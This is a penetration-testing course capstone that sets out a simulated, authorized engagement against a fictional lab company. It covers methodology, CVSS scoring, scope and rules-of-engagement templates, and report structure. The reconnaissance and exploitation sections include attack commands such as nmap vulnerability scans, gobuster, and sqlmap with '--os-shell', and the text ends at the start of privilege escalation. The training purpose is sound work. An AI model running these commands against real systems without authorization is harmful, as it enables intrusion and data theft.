Project 6: End-to-End Penetration Test Simulation (Capstone)

Project 6: End-to-End Penetration Test Simulation (Capstone)

Project Overview

Attribute Value
Difficulty Advanced
Time Estimate 2-4 weeks
Prerequisites Projects 1-5 completed
Primary Tool All previous tools combined
Main Book โ€œPenetration Testingโ€ by Georgia Weidman
Knowledge Area Complete Penetration Testing Methodology

Learning Objectives

By completing this capstone, you will:

  1. Execute a complete penetration test - From scoping to final report
  2. Apply all previous skills - Recon, web, network, post-exploitation
  3. Produce professional deliverables - Reports that could be delivered to real clients
  4. Demonstrate job-ready capabilities - Portfolio-quality work samples
  5. Practice risk communication - Translate technical findings to business impact

The Core Question

โ€œCan I conduct a professional penetration test from scoping through reporting that demonstrates business value, technical depth, and ethical responsibility?โ€

This capstone synthesizes everything youโ€™ve learned into a single, comprehensive engagement that mirrors professional penetration testing work.


Deep Theoretical Foundation

The Penetration Testing Execution Standard (PTES)

Professional penetration tests follow a structured methodology:

PENETRATION TESTING EXECUTION STANDARD (PTES)
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  PHASE 1: PRE-ENGAGEMENT INTERACTIONS                               โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                                                                     โ”‚
โ”‚  Objectives:                                                        โ”‚
โ”‚  โ€ข Define scope (what to test, what's off-limits)                  โ”‚
โ”‚  โ€ข Establish rules of engagement                                    โ”‚
โ”‚  โ€ข Get signed authorization                                         โ”‚
โ”‚  โ€ข Define testing windows                                           โ”‚
โ”‚  โ€ข Establish communication channels                                 โ”‚
โ”‚                                                                     โ”‚
โ”‚  Deliverables:                                                      โ”‚
โ”‚  โ€ข Statement of Work (SOW)                                         โ”‚
โ”‚  โ€ข Rules of Engagement (ROE)                                       โ”‚
โ”‚  โ€ข Emergency contacts                                               โ”‚
โ”‚                                                                     โ”‚
โ”‚  Key Questions:                                                     โ”‚
โ”‚  โ€ข What IP addresses/domains are in scope?                         โ”‚
โ”‚  โ€ข What techniques are allowed/prohibited?                         โ”‚
โ”‚  โ€ข What are the testing hours?                                     โ”‚
โ”‚  โ€ข Who do I contact if something breaks?                           โ”‚
โ”‚                                                                     โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                              โ”‚
                              โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  PHASE 2: INTELLIGENCE GATHERING (RECONNAISSANCE)                   โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                                                                     โ”‚
โ”‚  Passive Reconnaissance:                                            โ”‚
โ”‚  โ€ข WHOIS lookups                                                   โ”‚
โ”‚  โ€ข DNS enumeration                                                 โ”‚
โ”‚  โ€ข Certificate transparency logs                                    โ”‚
โ”‚  โ€ข OSINT (social media, job postings)                              โ”‚
โ”‚  โ€ข Google dorking                                                  โ”‚
โ”‚                                                                     โ”‚
โ”‚  Active Reconnaissance:                                             โ”‚
โ”‚  โ€ข Port scanning (Nmap)                                            โ”‚
โ”‚  โ€ข Service enumeration                                             โ”‚
โ”‚  โ€ข Directory brute-forcing                                         โ”‚
โ”‚  โ€ข Virtual host discovery                                          โ”‚
โ”‚                                                                     โ”‚
โ”‚  Output:                                                           โ”‚
โ”‚  โ€ข IP addresses and hostnames                                      โ”‚
โ”‚  โ€ข Open ports and services                                         โ”‚
โ”‚  โ€ข Technology stack                                                โ”‚
โ”‚  โ€ข Potential usernames/email addresses                             โ”‚
โ”‚                                                                     โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                              โ”‚
                              โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  PHASE 3: THREAT MODELING                                           โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                                                                     โ”‚
โ”‚  Based on reconnaissance:                                           โ”‚
โ”‚  โ€ข Identify likely attack vectors                                  โ”‚
โ”‚  โ€ข Prioritize targets by value                                     โ”‚
โ”‚  โ€ข Map potential attack paths                                      โ”‚
โ”‚  โ€ข Consider attacker motivations                                   โ”‚
โ”‚                                                                     โ”‚
โ”‚  Questions to answer:                                               โ”‚
โ”‚  โ€ข What are the crown jewels? (data, systems)                      โ”‚
โ”‚  โ€ข What's the most likely entry point?                             โ”‚
โ”‚  โ€ข What trust relationships exist?                                  โ”‚
โ”‚  โ€ข What would an attacker want to achieve?                         โ”‚
โ”‚                                                                     โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                              โ”‚
                              โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  PHASE 4: VULNERABILITY ANALYSIS                                    โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                                                                     โ”‚
โ”‚  Automated Scanning:                                                โ”‚
โ”‚  โ€ข Nessus, OpenVAS, Qualys                                         โ”‚
โ”‚  โ€ข Web application scanners (Burp, OWASP ZAP)                      โ”‚
โ”‚                                                                     โ”‚
โ”‚  Manual Testing:                                                    โ”‚
โ”‚  โ€ข SQL injection                                                   โ”‚
โ”‚  โ€ข XSS                                                             โ”‚
โ”‚  โ€ข Authentication bypass                                           โ”‚
โ”‚  โ€ข Business logic flaws                                            โ”‚
โ”‚  โ€ข Access control issues                                           โ”‚
โ”‚                                                                     โ”‚
โ”‚  Research:                                                         โ”‚
โ”‚  โ€ข CVE search for identified versions                              โ”‚
โ”‚  โ€ข Known default credentials                                       โ”‚
โ”‚  โ€ข Public exploits                                                 โ”‚
โ”‚                                                                     โ”‚
โ”‚  Output:                                                           โ”‚
โ”‚  โ€ข List of identified vulnerabilities                              โ”‚
โ”‚  โ€ข Preliminary severity ratings                                    โ”‚
โ”‚  โ€ข Exploitation feasibility assessment                             โ”‚
โ”‚                                                                     โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                              โ”‚
                              โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  PHASE 5: EXPLOITATION                                              โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                                                                     โ”‚
โ”‚  Goals:                                                            โ”‚
โ”‚  โ€ข Validate vulnerabilities (prove they're exploitable)            โ”‚
โ”‚  โ€ข Gain initial access                                             โ”‚
โ”‚  โ€ข Document exploitation steps                                     โ”‚
โ”‚                                                                     โ”‚
โ”‚  Techniques:                                                        โ”‚
โ”‚  โ€ข Metasploit modules                                              โ”‚
โ”‚  โ€ข Custom exploits                                                 โ”‚
โ”‚  โ€ข Web shells                                                      โ”‚
โ”‚  โ€ข Password attacks                                                โ”‚
โ”‚                                                                     โ”‚
โ”‚  Documentation Required:                                           โ”‚
โ”‚  โ€ข Every command executed                                          โ”‚
โ”‚  โ€ข Screenshots of successful exploitation                          โ”‚
โ”‚  โ€ข Payloads used                                                   โ”‚
โ”‚  โ€ข Timestamps                                                      โ”‚
โ”‚                                                                     โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                              โ”‚
                              โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  PHASE 6: POST-EXPLOITATION                                         โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                                                                     โ”‚
โ”‚  Privilege Escalation:                                              โ”‚
โ”‚  โ€ข Linux: sudo, SUID, kernel exploits                              โ”‚
โ”‚  โ€ข Windows: token impersonation, services                          โ”‚
โ”‚                                                                     โ”‚
โ”‚  Lateral Movement:                                                  โ”‚
โ”‚  โ€ข Credential harvesting                                           โ”‚
โ”‚  โ€ข Pass-the-Hash/Pass-the-Ticket                                   โ”‚
โ”‚  โ€ข Network scanning from inside                                    โ”‚
โ”‚  โ€ข Trust relationship abuse                                        โ”‚
โ”‚                                                                     โ”‚
โ”‚  Data Exfiltration (Proof):                                        โ”‚
โ”‚  โ€ข Demonstrate access to sensitive data                            โ”‚
โ”‚  โ€ข Document what could be stolen                                   โ”‚
โ”‚  โ€ข Don't actually exfiltrate real data!                            โ”‚
โ”‚                                                                     โ”‚
โ”‚  Persistence (if in scope):                                         โ”‚
โ”‚  โ€ข Document how attacker would maintain access                     โ”‚
โ”‚  โ€ข Don't install actual persistence without approval               โ”‚
โ”‚                                                                     โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                              โ”‚
                              โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  PHASE 7: REPORTING                                                 โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                                                                     โ”‚
โ”‚  Executive Summary:                                                 โ”‚
โ”‚  โ€ข Non-technical overview                                          โ”‚
โ”‚  โ€ข Business risk summary                                           โ”‚
โ”‚  โ€ข Key recommendations                                             โ”‚
โ”‚                                                                     โ”‚
โ”‚  Technical Findings:                                                โ”‚
โ”‚  โ€ข Each vulnerability documented                                   โ”‚
โ”‚  โ€ข CVSS scores                                                     โ”‚
โ”‚  โ€ข Reproduction steps                                              โ”‚
โ”‚  โ€ข Evidence (screenshots, logs)                                    โ”‚
โ”‚  โ€ข Remediation recommendations                                     โ”‚
โ”‚                                                                     โ”‚
โ”‚  Attack Narrative:                                                  โ”‚
โ”‚  โ€ข Story of the engagement                                         โ”‚
โ”‚  โ€ข How vulnerabilities were chained                                โ”‚
โ”‚  โ€ข Timeline of attack                                              โ”‚
โ”‚                                                                     โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

PTES Penetration Testing Methodology - Seven Phase Framework

CVSS Scoring for Vulnerabilities

CVSS 3.1 SCORING METHODOLOGY
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

BASE SCORE METRICS
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

Attack Vector (AV):
  Network (N)  = 0.85  - Exploitable over network
  Adjacent (A) = 0.62  - Requires same network segment
  Local (L)    = 0.55  - Requires local access
  Physical (P) = 0.20  - Requires physical access

Attack Complexity (AC):
  Low (L)  = 0.77  - No special conditions needed
  High (H) = 0.44  - Special conditions required

Privileges Required (PR):
  None (N) = 0.85  - No authentication needed
  Low (L)  = 0.62  - Requires low-privilege user
  High (H) = 0.27  - Requires admin/root access

User Interaction (UI):
  None (N)     = 0.85  - No user action needed
  Required (R) = 0.62  - Victim must do something

Scope (S):
  Unchanged (U) = Does not impact other components
  Changed (C)   = Can impact other components

Impact Metrics (C/I/A - Confidentiality/Integrity/Availability):
  High (H) = 0.56  - Complete loss
  Low (L)  = 0.22  - Limited impact
  None (N) = 0.00  - No impact


EXAMPLE CALCULATIONS
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

SQL Injection - Public Web App:
  AV:N (network) / AC:L (easy) / PR:N (no auth) / UI:N (automated)
  S:U / C:H / I:H / A:H
  Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  Score: 9.8 CRITICAL

Same SQLi - Internal App:
  AV:A (adjacent network) instead of AV:N
  Score: 8.8 HIGH (still serious, but less exposure)

XSS in Admin Panel:
  AV:N / AC:L / PR:H (need admin to set payload) / UI:R (victim clicks)
  S:C / C:L / I:L / A:N
  Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  Score: 4.8 MEDIUM

SEVERITY RATINGS
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
0.0        = None
0.1 - 3.9  = Low
4.0 - 6.9  = Medium
7.0 - 8.9  = High
9.0 - 10.0 = Critical

Project Specification

Engagement Scenario

You are hired to conduct a penetration test for MegaCorp Industries, a fictional company. You will use the lab network built in Project 5.

ENGAGEMENT OVERVIEW
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

Client: MegaCorp Industries
Engagement Type: External Penetration Test with Internal Pivot

SCOPE:
In-Scope:
  โ€ข External IP: [Your web server IP]
  โ€ข Domain: megacorp.local
  โ€ข All systems on 192.168.1.0/24 (DMZ)
  โ€ข All systems on 192.168.2.0/24 (Internal) - after pivot authorized

Out-of-Scope:
  โ€ข Physical access testing
  โ€ข Social engineering
  โ€ข Denial of Service
  โ€ข Production database manipulation (read-only access permitted)

TESTING WINDOW:
  โ€ข 24/7 (lab environment)

OBJECTIVES:
  1. Identify vulnerabilities in external-facing systems
  2. Gain access to internal network
  3. Compromise Active Directory domain
  4. Document attack chain and business impact
  5. Provide actionable remediation recommendations

RULES OF ENGAGEMENT:
  โ€ข No intentional data destruction
  โ€ข Document all testing activities
  โ€ข Notify immediately if production impact occurs
  โ€ข All findings confidential

CONTACTS:
  โ€ข Primary: [Your name] (both tester and simulated client)
  โ€ข Emergency: [Your phone] (simulated)

Deliverables Required

1. Pre-Engagement Documents

  • Statement of Work (mock)
  • Scope Definition
  • Rules of Engagement
  • Testing Schedule

2. Technical Documentation

  • Network Diagram with attack paths
  • Attack Narrative with timeline
  • Command Log of all activities
  • Screenshots of key exploits

3. Penetration Test Report (30-40 pages)

REPORT STRUCTURE
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

1. EXECUTIVE SUMMARY (2-3 pages)
   โ””โ”€โ”€ Non-technical overview for C-level executives

2. METHODOLOGY (2 pages)
   โ””โ”€โ”€ Testing approach, tools, framework used

3. SCOPE AND OBJECTIVES (1 page)
   โ””โ”€โ”€ What was tested, goals

4. FINDINGS SUMMARY (2 pages)
   โ””โ”€โ”€ Table of all findings with severity

5. DETAILED FINDINGS (15-20 pages)
   โ””โ”€โ”€ Each vulnerability with:
       โ”œโ”€โ”€ Title and CVSS Score
       โ”œโ”€โ”€ Affected Systems
       โ”œโ”€โ”€ Description
       โ”œโ”€โ”€ Steps to Reproduce
       โ”œโ”€โ”€ Evidence (screenshots)
       โ”œโ”€โ”€ Business Impact
       โ””โ”€โ”€ Remediation Recommendations

6. ATTACK NARRATIVE (5-7 pages)
   โ””โ”€โ”€ Story of the engagement
       โ”œโ”€โ”€ Initial access method
       โ”œโ”€โ”€ Privilege escalation
       โ”œโ”€โ”€ Lateral movement
       โ””โ”€โ”€ Objective achievement

7. RECOMMENDATIONS (2-3 pages)
   โ””โ”€โ”€ Prioritized remediation roadmap

8. APPENDICES
   โ””โ”€โ”€ Full tool output, additional screenshots

Penetration Test Report Structure - Professional Documentation Framework

4. Video Walkthrough (20-30 minutes)

  • Lab environment overview
  • Attack demonstration
  • Key findings explanation
  • Clear narration

Phased Implementation Guide

Phase 1: Pre-Engagement (Day 1)

Goal: Establish engagement parameters

  1. Create Statement of Work: ```markdown

    PENETRATION TESTING STATEMENT OF WORK

Parties

  • Client: MegaCorp Industries (simulated)
  • Tester: [Your Name]

Engagement Type

External Network Penetration Test with Internal Pivot

Scope

In-Scope Systems

  • Web Server: 192.168.1.10
  • All systems on 192.168.1.0/24 (DMZ)
  • All systems on 192.168.2.0/24 (Internal)
  • Domain: megacorp.local

Out-of-Scope

  • Physical access testing
  • Social engineering attacks
  • Denial of Service testing
  • Any system not listed above

Authorized Techniques

[X] Network scanning and enumeration [X] Vulnerability scanning [X] Manual exploitation [X] Privilege escalation [X] Credential harvesting [X] Lateral movement [ ] Social engineering (NOT AUTHORIZED) [ ] Physical access (NOT AUTHORIZED)

Testing Window

Start Date: [Date] End Date: [Date +2 weeks] Testing Hours: 24/7 (lab environment)

Emergency Contacts

[Your contact information]

Authorization

I hereby authorize penetration testing of the systems listed above.

Signature: ________ Date: _______


2. **Define Rules of Engagement**:
```markdown
# RULES OF ENGAGEMENT

## Testing Boundaries
1. All testing must remain within defined scope
2. Out-of-scope discoveries must be reported but not exploited
3. No intentional denial of service
4. No permanent data modification in production databases
5. All testing must be documented in real-time

## Communication
1. Daily status updates (simulated)
2. Immediate notification of critical findings
3. Immediate notification of any testing incidents

## Evidence Handling
1. All evidence must be encrypted at rest
2. Credentials must not be stored in plaintext
3. Client data must not leave testing environment

## Cleanup
1. Remove all testing artifacts after engagement
2. Restore any modified configurations
3. Document all changes made during testing

Phase 2: Reconnaissance (Days 2-3)

Goal: Complete attack surface mapping

  1. Passive Reconnaissance: ```bash

    DNS enumeration

    dig megacorp.local ANY dig -x 192.168.1.10

Document all findings

echo โ€œ# Passive Recon Resultsโ€ > recon_notes.md echo โ€œDate: $(date)โ€ย ยป recon_notes.md


2. **Active Reconnaissance**:
```bash
# Full port scan
nmap -sV -sC -p- -oA nmap_full 192.168.1.10

# Service enumeration
nmap -sV -sC --script=vuln -oA nmap_vuln 192.168.1.10

# Web enumeration
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt

# Technology identification
whatweb http://192.168.1.10
  1. Document Attack Surface: ```markdown

    ATTACK SURFACE ANALYSIS

External Hosts

| IP | Hostname | Open Ports | Services | Notes | |โ€”-|โ€”โ€”โ€”-|โ€”โ€”โ€”โ€”|โ€”โ€”โ€”-|โ€”โ€”-| | 192.168.1.10 | webserver | 22, 80, 443 | SSH, Apache | Custom PHP app |

Web Applications

| URL | Technology | Auth Required | Notes | |โ€”โ€“|โ€”โ€”โ€”โ€”|โ€”โ€”โ€”โ€”โ€”|โ€”โ€”-| | http://192.168.1.10/app | PHP, MySQL | Yes | Login form |

Potential Entry Points

  1. Web application login form
  2. SSH service
  3. โ€ฆ ```

Phase 3: Vulnerability Assessment (Days 4-5)

Goal: Identify all exploitable vulnerabilities

  1. Web Application Testing: ```bash

    SQL injection testing

    sqlmap -u โ€œhttp://192.168.1.10/app/login.phpโ€ โ€“data=โ€username=test&password=testโ€ โ€“dbs โ€“batch

XSS testing

Manual testing in Burp Suite

File inclusion testing

Directory traversal payloads


2. **Create Vulnerability Matrix**:
```markdown
# VULNERABILITY ASSESSMENT MATRIX

| ID | Vulnerability | System | CVSS | Status |
|----|---------------|--------|------|--------|
| V01 | SQL Injection | Web App | 9.8 | Confirmed |
| V02 | Credentials in Config | Web Server | 7.5 | Confirmed |
| V03 | Sudo Misconfiguration | Web Server | 7.8 | Confirmed |
| V04 | Kerberoastable Account | AD | 7.5 | Not Yet Tested |

Phase 4: Exploitation (Days 6-10)

Goal: Achieve all testing objectives

  1. Initial Access: ```bash

    Timestamp all activities

    echo โ€œ[$(date)] Starting exploitation phaseโ€ย ยป activity_log.txt

SQL injection exploitation

sqlmap -u โ€œhttp://192.168.1.10/app/login.phpโ€ โ€“data=โ€username=test&password=testโ€ โ€“os-shell

Document: Screenshot of shell access


2. **Privilege Escalation**:
```bash
# Check sudo permissions
sudo -l
